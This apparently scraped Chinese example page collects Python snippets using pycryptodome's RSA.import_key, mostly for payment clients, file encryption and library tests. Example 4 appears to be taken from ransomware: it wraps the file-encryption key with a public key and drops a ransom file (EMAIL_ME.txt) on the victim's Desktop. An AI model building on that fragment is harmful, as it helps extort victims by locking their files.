本文整理匯總了Python中Crypto.PublicKey.RSA.import_key方法的典型用法代碼示例。如果您正苦於以下問題:Python RSA.import_key方法的具體用法?Python RSA.import_key怎麽用?Python RSA.import_key使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類Crypto.PublicKey.RSA
的用法示例。
在下文中一共展示了RSA.import_key方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: __init__
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def __init__(self, appid, app_notify_url, app_private_key_path,
alipay_public_key_path, return_url, debug=False):
self.appid = appid
self.app_notify_url = app_notify_url
self.app_private_key_path = app_private_key_path
self.app_private_key = None
self.return_url = return_url
with open(self.app_private_key_path) as fp:
self.app_private_key = RSA.importKey(fp.read())
self.alipay_public_key_path = alipay_public_key_path
with open(self.alipay_public_key_path) as fp:
self.alipay_public_key = RSA.import_key(fp.read())
if debug is True:
self.__gateway = "https://openapi.alipaydev.com/gateway.do"
else:
self.__gateway = "https://openapi.alipay.com/gateway.do"
示例2: __init__
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def __init__(self, key_pem, kid=None):
"""
Import Key when instancing class if a key is present.
"""
self.key = None
if key_pem:
# Import JWK from RSA key
try:
self.key = RSAKey(
# Using the same key ID as client id
# This way we can easily serve multiple public
# keys on teh same endpoint and keep all
# LTI 1.3 blocks working
kid=kid,
key=RSA.import_key(key_pem)
)
except ValueError:
raise exceptions.InvalidRsaKey()
示例3: decrypt
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def decrypt(key, passphrase, encrypted_file_path):
"""
Decrypts the specified file using a RSA key and its bound passphrase
:param key: an RSA key
:param passphrase: str
:param encrypted_file_path: str path of the file to be decrypted
:return: bytes decrypted data
"""
print('Decrypting file {} ...'.format(encrypted_file_path))
rsa_key = RSA.import_key(key, passphrase=passphrase)
with open(encrypted_file_path, 'rb') as f:
# Read the encoded session key, nonce, digest and encrypted data
enc_session_key, nonce, digest, ciphertext = \
[ f.read(x) for x in (rsa_key.size_in_bytes(), 16, 16, -1) ]
# decode the session key
cipher_rsa = PKCS1_OAEP.new(rsa_key)
session_key = cipher_rsa.decrypt(enc_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
# finally decrypt data
data = cipher_aes.decrypt_and_verify(ciphertext, digest)
print('Done')
return data
示例4: encrypt_fernet_key
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def encrypt_fernet_key(self):
with open('fernet_key.txt', 'rb') as fk:
fernet_key = fk.read()
with open('fernet_key.txt', 'wb') as f:
# Public RSA key
self.public_key = RSA.import_key(open('public.pem').read())
# Public encrypter object
public_crypter = PKCS1_OAEP.new(self.public_key)
# Encrypted fernet key
enc_fernent_key = public_crypter.encrypt(fernet_key)
# Write encrypted fernet key to file
f.write(enc_fernent_key)
# Write encrypted fernet key to dekstop as well so they can send this file to be unencrypted and get system/files back
with open(f'{self.sysRoot}Desktop/EMAIL_ME.txt', 'wb') as fa:
fa.write(enc_fernent_key)
# Assign self.key to encrypted fernet key
self.key = enc_fernent_key
# Remove fernet crypter object
self.crypter = None
# [SYMMETRIC KEY] Fernet Encrypt/Decrypt file - file_path:str:absolute file path eg, C:/Folder/Folder/Folder/Filename.txt
示例5: __init__
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def __init__(self, method):
self.appid = settings.ALIPAY_APPID
self.app_private_key_path = settings.PRIVATE_KEY_PATH
self.alipay_public_key_path = settings.ALIPUB_KEY_PATH # 支付寶的公鑰,驗證支付寶回傳消息使用,不是你自己的公鑰
self.app_notify_url = settings.ALIPAY_NOTIFY_URL
self.app_private_key = None
self.alipay_public_key = None
self.method = method
with open(self.app_private_key_path) as fp:
self.app_private_key = RSA.importKey(fp.read())
with open(self.alipay_public_key_path) as fp:
self.alipay_public_key = RSA.import_key(fp.read())
示例6: _rsa_decrypt
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def _rsa_decrypt(private_key_path=None, ciphertext=None):
"""
RSA Decryption function, returns decrypted plaintext in b64 encoding
"""
dsize = SHA.digest_size
sentinel = Random.new().read(20 + dsize)
ciphertext = base64.b64decode(ciphertext)
private_key = RSA.import_key(open(private_key_path).read())
cipher = PKCS1_v1_5.new(private_key)
plaintext = cipher.decrypt(ciphertext, sentinel).decode('utf8')
return plaintext
示例7: encrypt_pub_key
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def encrypt_pub_key(data: bytes, key: bytes):
recipient_key = RSA.import_key(key)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
encrypted_data = cipher_rsa.encrypt(data)
return encrypted_data
示例8: decrypt_pub_key
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def decrypt_pub_key(data: bytes, key: bytes):
recipient_key = RSA.import_key(key)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
decrypted_data = cipher_rsa.decrypt(data)
return decrypted_data
示例9: __init__
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def __init__(self, rsa_key_path=None):
super(PycryptodomeAuthSigner, self).__init__()
if rsa_key_path:
with open(rsa_key_path + '.pub', 'rb') as rsa_pub_file:
self.public_key = rsa_pub_file.read()
with open(rsa_key_path, 'rb') as rsa_priv_file:
self.rsa_key = RSA.import_key(rsa_priv_file.read())
示例10: encrypt
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def encrypt(key, src_file_path, encrypted_file_path):
"""
Encrypts the specified source file to the target path using AES and the
specified RSA key
:param key: an RSA key
:param src_file_path: str path of file to be encrypted
:param encrypted_file_path: str path of target encrypted file
:return: None
"""
print('Encrypting file {} to {} using AES'.format(src_file_path,
encrypted_file_path))
rsa_key = RSA.import_key(key)
with open(encrypted_file_path, "wb") as outfile:
# Create a random session key and encrypt it with the input RSA key
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(rsa_key)
outfile.write(cipher_rsa.encrypt(session_key))
# Create an AES session key
cipher_aes = AES.new(session_key, AES.MODE_EAX)
with open(src_file_path ,'rb') as infile:
# Use AES session key to encrypt input file data
data = infile.read()
ciphertext, digest = cipher_aes.encrypt_and_digest(data)
# write to target file
outfile.write(cipher_aes.nonce)
outfile.write(digest)
outfile.write(ciphertext)
print('Done')
示例11: test_import_empty
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def test_import_empty(self):
self.assertRaises(ValueError, RSA.import_key, b"")
###
示例12: test_import_key
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def test_import_key(self):
"""Verify that import_key is an alias to importKey"""
key = RSA.import_key(self.rsaPublicKeyDER)
self.failIf(key.has_private())
self.assertEqual(key.n, self.n)
self.assertEqual(key.e, self.e)
示例13: test_import_openssh_public
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def test_import_openssh_public(self):
key_file_ref = load_file("rsa2048_private.pem")
key_file = load_file("rsa2048_public_openssh.txt")
key_ref = RSA.import_key(key_file_ref).publickey()
key = RSA.import_key(key_file)
self.assertEqual(key_ref, key)
示例14: test_import_openssh_private_clear
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def test_import_openssh_private_clear(self):
key_file = load_file("rsa2048_private_openssh.pem")
key_file_old = load_file("rsa2048_private_openssh_old.pem")
key = RSA.import_key(key_file)
key_old = RSA.import_key(key_file_old)
self.assertEqual(key, key_old)
示例15: test_import_openssh_private_password
# 需要導入模塊: from Crypto.PublicKey import RSA [as 別名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 別名]
def test_import_openssh_private_password(self):
key_file = load_file("rsa2048_private_openssh_pwd.pem")
key_file_old = load_file("rsa2048_private_openssh_pwd_old.pem")
key = RSA.import_key(key_file, b"password")
key_old = RSA.import_key(key_file_old)
self.assertEqual(key, key_old)